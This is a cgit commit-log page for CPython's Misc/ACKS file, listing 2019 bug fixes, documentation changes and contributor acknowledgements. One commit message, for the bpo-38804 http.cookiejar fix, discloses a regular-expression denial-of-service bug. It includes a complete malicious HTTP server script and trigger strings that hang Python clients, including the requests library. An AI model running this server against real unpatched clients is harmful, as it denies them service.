summaryrefslogtreecommitdiffstats
path: root/Misc/ACKS
Commit message (Collapse)AuthorAgeFilesLines
* bpo-39002: Fix simple typo: tranlation -> translation (GH-17517)Tim Gates2019-12-091-0/+1
|
* bpo-38652: Remove provisional note for asyncio.BufferedProtocol (GH-17047)Anj-A2019-12-071-0/+1
| | | https://bugs.python.org/issue38652
* bpo-37931: Fix crash on OSX re-initializing os.environ (GH-15428)Benoit Hudson2019-12-061-0/+1
| | | | | | | | | | On most platforms, the `environ` symbol is accessible everywhere. In a dylib on OSX, it's not easily accessible, you need to find it with _NSGetEnviron. The code was caching the *value* of environ. But a setenv() can change the value, leaving garbage at the old value. Fix: don't cache the value of environ, just read it every time.
* bpo-38804: Fix REDoS in http.cookiejar (GH-17157)bcaller2019-11-221-0/+1
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar to parse Set-Cookie headers returned by a server. Processing a response from a malicious HTTP server can lead to extreme CPU usage and execution will be blocked for a long time. The regex contained multiple overlapping \s* capture groups. Ignoring the ?-optional capture groups the regex could be simplified to \d+-\w+-\d+(\s*\s*\s*)$ Therefore, a long sequence of spaces can trigger bad performance. Matching a malicious string such as LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!") caused catastrophic backtracking. The fix removes ambiguity about which \s* should match a particular space. You can create a malicious server which responds with Set-Cookie headers to attack all python programs which access it e.g. from http.server import BaseHTTPRequestHandler, HTTPServer def make_set_cookie_value(n_spaces): spaces = " " * n_spaces expiry = f"1-c-1{spaces}!" return f"b;Expires={expiry}" class Handler(BaseHTTPRequestHandler): def do_GET(self): self.log_request(204) self.send_response_only(204) # Don't bother sending Server and Date n_spaces = ( int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences if len(self.path) > 1 else 65506 # Max header line length 65536 ) value = make_set_cookie_value(n_spaces) for i in range(99): # Not necessary, but we can have up to 100 header lines self.send_header("Set-Cookie", value) self.end_headers() if __name__ == "__main__": HTTPServer(("", 44020), Handler).serve_forever() This server returns 99 Set-Cookie headers. Each has 65506 spaces. Extracting the cookies will pretty much never complete. Vulnerable client using the example at the bottom of https://docs.python.org/3/library/http.cookiejar.html : import http.cookiejar, urllib.request cj = http.cookiejar.CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) r = opener.open("http://localhost:44020/") The popular requests library was also vulnerable without any additional options (as it uses http.cookiejar by default): import requests requests.get("http://localhost:44020/") * Regression test for http.cookiejar REDoS If we regress, this test will take a very long time. * Improve performance of http.cookiejar.ISO_DATE_RE A string like "444444" + (" " * 2000) + "A" could cause poor performance due to the 2 overlapping \s* groups, although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.
* Add Ilya Kulakov to Misc/ACKS. (GH-17130)Ilya Kulakov2019-11-131-0/+1
| | | Contributions on bpo-26467 and bpo-29302.
* bpo-38303: Make audioop extension module PEP-384 compatible (GH-16497)Tyler Kieft2019-10-221-0/+1
| | | | | | | https://bugs.python.org/issue38303 Automerge-Triggered-By: @encukou
* bpo-35800: Deprecate smtpd.MailmanProxy (GH-11675)Samuel Colvin2019-10-121-0/+1
| | | | | | Since `smtpd.MailmanProxy` is already broken, it is not formally deprecated in 3.9. It will be removed in 3.10. https://bugs.python.org/issue35800
* bpo-37555: Update _CallList.__contains__ to respect ANY (#14700)Elizabeth Uselton2019-09-131-0/+2
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | * Flip equality to use mock calls' __eq__ * bpo-37555: Regression test demonstrating assert_has_calls not working with ANY and spec_set Co-authored-by: Neal Finne <neal@nealfinne.com> * Revert "Flip equality to use mock calls' __eq__" This reverts commit 94ddf54c5a8aab7d00d9ab93e1cc5695c28d73e7. * bpo-37555: Add regression tests for mock ANY ordering issues Add regression tests for whether __eq__ is order agnostic on _Call and _CallList, which is useful for comparisons involving ANY, especially if the ANY comparison is to a class not defaulting __eq__ to NotImplemented. Co-authored-by: Neal Finne <neal@nealfinne.com> * bpo-37555: Fix _CallList and _Call order sensitivity _Call and _CallList depend on ordering to correctly process that an object being compared to ANY with __eq__ should return True. This fix updates the comparison to check both a == b and b == a and return True if either condition is met, fixing situations from the tests in the previous two commits where assertEqual would not be commutative if checking _Call or _CallList objects. This seems like a reasonable fix considering that the Python data model specifies that if an object doesn't know how to compare itself to another object it should return NotImplemented, and that on getting NotImplemented from a == b, it should try b == a, implying that good behavior for __eq__ is commutative. This also flips the order of comparison in _CallList's __contains__ method, guaranteeing ANY will be on the left and have it's __eq__ called for equality checking, fixing the interaction between assert_has_calls and ANY. Co-author: Neal Finne <neal@neal.finne.com> * bpo-37555: Ensure _call_matcher returns _Call object * Adding ACK and news entry * bpo-37555: Replacing __eq__ with == to sidestep NotImplemented bool(NotImplemented) returns True, so it's necessary to use == instead of __eq__ in this comparison. * bpo-37555: cleaning up changes unnecessary to the final product * bpo-37555: Fixed call on bound arguments to respect args and kwargs * Revert "bpo-37555: Add regression tests for mock ANY ordering issues" This reverts commit 49c5310ad493c4356dd3bc58c03653cd9466c4fa. * Revert "bpo-37555: cleaning up changes unnecessary to the final product" This reverts commit 18e964ba0126d8964d89842cb95534b63c2d326e. * Revert "bpo-37555: Replacing __eq__ with == to sidestep NotImplemented" This reverts commit f295eaca5bceac6636c0e2b10e6c7d9a8ee8296a. * Revert "bpo-37555: Fix _CallList and _Call order sensitivity" This reverts commit 874fb697b8376fcea130116e56189061f944fde6. * Updated NEWS.d * bpo-37555: Add tests checking every function using _call_matcher both with and without spec * bpo-37555: Ensure all assert methods using _call_matcher are actually passing calls * Remove AnyCompare and use call objects everywhere. * Revert "Remove AnyCompare and use call objects everywhere." This reverts commit 24973c0b32ce7d796a7f4eeaf259832222aae0f5. * Check for exception in assert_any_await
* Improve clarity of try-return-finally-return (GH-15677)toonarmycaptain2019-09-111-0/+1
| | | Clarify execution in try-return-finally-return case.
* bpo-37409: fix relative import with no parent (#14956)Ben Lewis2019-09-111-0/+1
| | | | | | | | | | | | | Relative imports use resolve_name to get the absolute target name, which first seeks the current module's absolute package name from the globals: If __package__ (and __spec__.parent) are missing then import uses __name__, truncating the last segment if the module is a submodule rather than a package __init__.py (which it guesses from whether __path__ is defined). The __name__ attempt should fail if there is no parent package (top level modules), if __name__ is '__main__' (-m entry points), or both (scripts). That is, if both __name__ has no subcomponents and the module does not seem to be a package __init__ module then import should fail.
* bpo-36324: Apply review comments from Allen Downey (GH-15693)Raymond Hettinger2019-09-051-0/+1
|
* bpo-37902: IDLE: Add scrolling for IDLE browsers. (#15368)GeeTransit2019-09-051-0/+1
| | | | Modify the wheel event handler so it can also be used for module, path, and stack browsers. Patch by George Zhang.
* bpo-37764: Fix infinite loop when parsing unstructured email headers. (GH-15239)Ashwin Ramaswami2019-08-311-0/+1
| | | | | | | | | | | | Fixes a case in which email._header_value_parser.get_unstructured hangs the system for some invalid headers. This covers the cases in which the header contains either: - a case without trailing whitespace - an invalid encoded word https://bugs.python.org/issue37764 This fix should also be backported to 3.7 and 3.8 https://bugs.python.org/issue37764
* bpo-37372: Fix error unpickling datetime.time objects from Python 2 with ↵Justin Blanchard2019-08-291-0/+1
| | | | seconds>=24. (GH-14307)
* bpo-36582: Make collections.UserString.encode() return bytes, not str (GH-13138)Daniel Fortunov2019-08-281-0/+1
|
* Add Florian Ernst to ACKS (GH-15524)Ethan Furman2019-08-271-0/+1
|
* Minor documentation fixes on library/enum (GH-15234)Antoine2019-08-201-0/+1
| | | * Minor documentation fixes on library/enum
* bpo-37811: FreeBSD, OSX: fix poll(2) usage in sockets module (GH-15202)Artem Khramov2019-08-141-0/+1
| | | | | | | | | | | | | | | | FreeBSD implementation of poll(2) restricts the timeout argument to be either zero, or positive, or equal to INFTIM (-1). Unless otherwise overridden, socket timeout defaults to -1. This value is then converted to milliseconds (-1000) and used as argument to the poll syscall. poll returns EINVAL (22), and the connection fails. This bug was discovered during the EINTR handling testing, and the reproduction code can be found in https://bugs.python.org/issue23618 (see connect_eintr.py, attached). On GNU/Linux, the example runs as expected. This change is trivial: If the supplied timeout value is negative, truncate it to -1.
* bpo-37642: Update acceptable offsets in timezone (GH-14878)Ngalim Siregar2019-08-091-0/+1
| | | | | | | | | This fixes an inconsistency between the Python and C implementations of the datetime module. The pure python version of the code was not accepting offsets greater than 23:59 but less than 24:00. This is an accidental legacy of the original implementation, which was put in place before tzinfo allowed sub-minute time zone offsets. GH-14878
* Adds Tim Hopper and Dan Lidral-Porter to ACKS (GH-15101)Timothy Hopper2019-08-041-0/+2
| | | Tim and Dan were authors for GH-11847
* bpo-16970: Adding error message for invalid args (GH-14844)tmblweed2019-08-021-0/+1
| | | | | | | | BPO -16970: Adding error message for invalid args Applied the patch argparse-v2 patch issue 16970, ran patch check and the test suite, test_argparse with 0 errors https://bugs.python.org/issue16970
* bpo-37723: Fix performance regression on regular expression parsing. (GH-15030)yannvgn2019-07-311-0/+1
| | | | Improve performance of sre_parse._uniq function.
* bpo-37085: Expose SocketCAN bcm_msg_head flags (#13646)karl ding2019-07-311-0/+1
| | | | | | | | | | | | | | | | | | | | | | | | Expose the CAN_BCM SocketCAN constants used in the bcm_msg_head struct flags (provided by <linux/can/bcm.h>) under the socket library. This adds the following constants with a CAN_BCM prefix: * SETTIMER * STARTTIMER * TX_COUNTEVT * TX_ANNOUNCE * TX_CP_CAN_ID * RX_FILTER_ID * RX_CHECK_DLC * RX_NO_AUTOTIMER * RX_ANNOUNCE_RESUME * TX_RESET_MULTI_IDX * RX_RTR_FRAME * CAN_FD_FRAME The CAN_FD_FRAME flag was introduced in the 4.8 kernel, while the other ones were present since SocketCAN drivers were mainlined in 2.6.25. As such, it is probably unnecessary to guard against these constants being missing.
* bpo-29446: tkinter 'import *' only imports what it should (GH-14864)Flavian Hautbois2019-07-261-0/+1
| | | | Add __all__ to tkinter.__init__ and submodules. Replace 'import *' with explicit imports in some submodules.
* bpo-37627: Add acknowledgment (#14883)Terry Jan Reedy2019-07-211-0/+1
|
* bpo-26967: fix flag grouping with allow_abbrev=False (GH-14316)Zac Hatfield-Dodds2019-07-141-0/+1
| | | | | | | | | | | The `allow_abbrev` option for ArgumentParser is documented and intended to disable support for unique prefixes of --options, which may sometimes be ambiguous due to deferred parsing. However, the initial implementation also broke parsing of grouped short flags, such as `-ab` meaning `-a -b` (or `-a=b`). Checking the argument for a leading `--` before rejecting it fixes this. This was prompted by pytest-dev/pytest#5469, so a backport to at least 3.8 would be great :smile: And this is my first PR to CPython, so please let me know if I've missed anything! https://bugs.python.org/issue26967
* bpo-30088: Document that existing dir structure isn't verified by ↵Sviatoslav Sydorenko2019-07-131-0/+1
| | | | | | | | | | | | | | | | | | | | | mailbox.Maildir (GH-1163) Hi, I've faced an issue w/ `mailbox.Maildir()`. The case is following: 1. I create a folder with `tempfile.TemporaryDirectory()`, so it's empty 2. I pass that folder path as an argument when instantiating `mailbox.Maildir()` 3. Then I receive an exception happening because "there's no such file or directory" (namely `cur`, `tmp` or `new`) during interaction with Maildir **Expected result:** subdirs are created during `Maildir()` instance creation. **Actual result:** subdirs are assumed as existing which leads to exceptions during use. **Workaround:** remove the actual dir before passing the path to `Maildir()`. It will be created automatically with all subdirs needed. **Fix:** This PR. Basically it adds creation of subdirs regardless of whether the base dir existed before. https://bugs.python.org/issue30088
* bpo-37548: Document range of atan, acos and asin (GH-14717)Giovanni Cappellotto2019-07-131-0/+1
|
* closes bpo-37347: Fix refcount problem in sqlite3. (GH-14268)gescheit2019-07-131-0/+1
|
* bpo-18374: fix wrong col_offset of some ast.BinOp instances (GH-14607)Carl Friedrich Bolz-Tereick2019-07-081-0/+1
| | | | | Nested BinOp instances (e.g. a+b+c) had a wrong col_offset for the second BinOp (e.g. 2 instead of 0 in the example). Fix it by using the correct st node to copy the line and col_offset from in ast.c.
* bpo-37479: on Enum subclasses with mixins, __format__ uses overridden ↵thatneat2019-07-041-0/+1
| | | | | __str__ (GH-14545) * bpo-37479: on Enum subclasses with mixins, __format__ uses overridden __str__
* bpo-19696: Replace deprecated method in "test_import_pkg.py" (GH-14466)Kyle Stanley2019-07-031-0/+1
| | | | | | | | | Replacing the deprecated method "random.choose" to "random.choice" was technically not part of the original issue. However, it was discussed in the talk page and involved one of the files being moved. I assumed this was too minor to justify the creation of a separate issue. Also, I added my name to the contributors list in Misc/ACKS. This will be my third PR to cpython, forgot to do it in the previous ones. https://bugs.python.org/issue19696
* bpo-37376: pprint support for SimpleNamespace (GH-14318)Carl Bordum Hansen2019-06-261-0/+1
| | | https://bugs.python.org/issue37376
* Add pganssle to CODEOWNERS and ACKS (GH-14138)Paul Ganssle2019-06-181-0/+1
| | | Also adds abalkin to CODEOWNERS for date and time related files.
* bpo-37014: Update docstring and Documentation of fileinput.FileInput(). ↵Michele Angrisano2019-06-021-0/+1
| | | | | | | | | | | | (GH-13545) * bpo-37014: Update docstring and Documentation of fileinput.FileInput() * Explain the behavior of fileinput.FileInput() when reading stdin. * Update blurb. * bpo-37014: Fix typo in the docstring and documentation.
* bpo-23395: Fix PyErr_SetInterrupt if the SIGINT signal is ignored or not ↵Matěj Cepl2019-05-231-1/+1
| | | | | handled (GH-7778) ``_thread.interrupt_main()`` now avoids setting the Python error status if the ``SIGINT`` signal is ignored or not handled by Python.
* bpo-36878: Track extra text added to 'type: ignore' in the AST (GH-13479)Michael J. Sullivan2019-05-221-0/+1
| | | | | GH-13238 made extra text after a # type: ignore accepted by the parser. This finishes the job and actually plumbs the extra text through the parser and makes it available in the AST.
* bpo-36972: Add SupportsIndex (GH-13448)Paul Dagnelie2019-05-221-0/+1
| | | | In order to support typing checks calling hex(), oct() and bin() on user-defined classes, a SupportIndex protocol is required. The ability to check these at runtime would be good to add for completeness sake. This is pretty much just a copy of SupportsInt with the names tweaked.
* bpo-36929: Modify io/re tests to allow for missing mod name (#13392)Max Bernstein2019-05-211-0/+1
| | | | | | | | | | | | | | | | | | * bpo-36929: Modify io/re tests to allow for missing mod name For a vanishingly small number of internal types, CPython sets the tp_name slot to mod_name.type_name, either in the PyTypeObject or the PyType_Spec. There are a few minor places where this surfaces: * Custom repr functions for those types (some of which ignore the tp_name in favor of using a string literal, such as _io.TextIOWrapper) * Pickling error messages The test suite only tests the former. This commit modifies the test suite to allow Python implementations to omit the module prefix. https://bugs.python.org/issue36929
* bpo-23896: Add a grammar where exec isn't a stmt (#13272)Batuhan Taşkaya2019-05-201-0/+1
| | | https://bugs.python.org/issue23896
* bpo-22865: Expand on documentation for the pty.spawn function (GH-11980)Geoff Shannon2019-05-201-0/+1
|
* bpo-35721: Close socket pair if Popen in _UnixSubprocessTransport fails ↵Niklas Fiekas2019-05-201-0/+1
| | | | | | | | (GH-11553) This slightly expands an existing test case `test_popen_error` to trigger a `ResourceWarning` and fixes it. https://bugs.python.org/issue35721
* bpo-36782: Created C API wrappers and added missing tests for functions in ↵Edison A2019-05-171-0/+1
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | the PyDateTimeAPI. (#13088) * created a c API wrapper for pyDate_FromDate and added the test * 📜🤖 Added by blurb_it. * fixed auto-alignment by vscode * made changes as per PEP7 * Update 2019-05-04-21-25-19.bpo-36782.h3oPIb.rst * Refactored code as per requested changes * Remove Whitespace to Fix failed travis build * Update 2019-05-04-21-25-19.bpo-36782.h3oPIb.rst * Add a new line at end of ACKS * Added C API function for PyDateTime_FromDateAndTime * Added a test for the C API wrapper of PyDateTime_FromDateAndTime * Added C API function for PyDateTime_FromDateAndTime * Added a test for the C API wrapper of PyDateTime_FromDateAndTimeAndFold * Remove Whitespace using patchcheck * Added a C API function for PyTime_FromTime * Added a test for the C API wrapper of PyTime_FromTime * Added a C API function for PyTime_FromTimeAndFold * Added a test for the C API wrapper of PyTime_FromTimeAndFold * Added a C API function for PyDelta_FromDSU * Added a test for the C API wrapper of PyDelta_FromDSU * Refactor code, re-edit lines longer than 80 chars * Fix Whitespace issues in DatetimeTester * List all tests that were added in this PR * Update 2019-05-04-21-25-19.bpo-36782.h3oPIb.rst * Reformat code as per PEP7 guidelines * Remove unused varibles from another function * Added specific tests for the Fold Attribute * Update 2019-05-04-21-25-19.bpo-36782.h3oPIb.rst * Reformat code according to requested changes * Reformat code to PEP7 Guidelines * Reformat code to PEP7 Guidelines * Re-add name to blurb * Added a backtick to blurb file * Update 2019-05-04-21-25-19.bpo-36782.h3oPIb.rst * Remove the need to initialize mandatory parameters * Make the macro parameter mandatory * Re-arrange the order of unit-test args * Removed the need to initialize macro change all the int macro = 0 to int macro; now that macro is required Co-Authored-By: Paul Ganssle <pganssle@users.noreply.github.com> * Removed the need to initialize macro change all the `int macro = 0` to `int macro`; now that macro is required Co-Authored-By: Paul Ganssle <pganssle@users.noreply.github.com> * Removed the need to initialize macro change all the `int macro = 0` to `int macro`; now that macro is required Co-Authored-By: Paul Ganssle <pganssle@users.noreply.github.com> * Removed the need to initialize macro change all the `int macro = 0` to `int macro`; now that macro is required Co-Authored-By: Paul Ganssle <pganssle@users.noreply.github.com> * Removed the need to initialize macro change all the `int macro = 0` to `int macro`; now that macro is required Co-Authored-By: Paul Ganssle <pganssle@users.noreply.github.com> * Removed the need to initialize macro change all the `int macro = 0` to `int macro`; now that macro is required Co-Authored-By: Paul Ganssle <pganssle@users.noreply.github.com>
* bpo-35926: Add support for OpenSSL 1.1.1b on Windows (GH-11779)Paul Monson2019-05-151-0/+1
|
* bpo-26707: Enable plistlib to read UID keys. (GH-12153)Jon Janzen2019-05-151-0/+1
| | | | | | | | | Plistlib currently throws an exception when asked to decode a valid .plist file that was generated by Apple's NSKeyedArchiver. Specifically, this is caused by a byte 0x80 (signifying a UID) not being understood. This fixes the problem by enabling the binary plist reader and writer to read and write plistlib.UID objects.
* bpo-36845: validate integer network prefix when constructing IP networks ↵Nicolai Moore2019-05-141-0/+1
| | | | (GH-13298)
* bpo-24538: Fix bug in shutil involving the copying of xattrs to read-only ↵Olexa Bilaniuk2019-05-101-0/+1
| | | | | | | | files. (PR-13212) Extended attributes can only be set on user-writeable files, but shutil previously first chmod()ed the destination file to the source's permissions and then tried to copy xattrs. This will cause failures if attempting to copy read-only files with xattrs, as occurs with Git clones on Lustre FS.
* bpo-32424: Improve test coverage for xml.etree.ElementTree (GH-12891)Gordon P. Hemsley2019-04-281-0/+1
| | | | * Fix typo in test_cyclic_gc subtest * Improve test coverage for xml.etree.ElementTree
* bpo-36625: Remove obsolete comments from docstrings in fractions module ↵Jakub Molinski2019-04-151-0/+1
| | | | | (GH-12822) Remove left-over references to Python 3.0 as the future in Fraction class docstrings.
* bpo-33922: Adding documentation for new "-64" suffix of Python launcher ↵mrh19972019-04-121-0/+1
| | | | | (GH-7849) Since bpo-30291 it is possible to specify the architecture of Python when using the launcher
generated by cgit v0.12 at 2025-08-27 16:50:10 (GMT)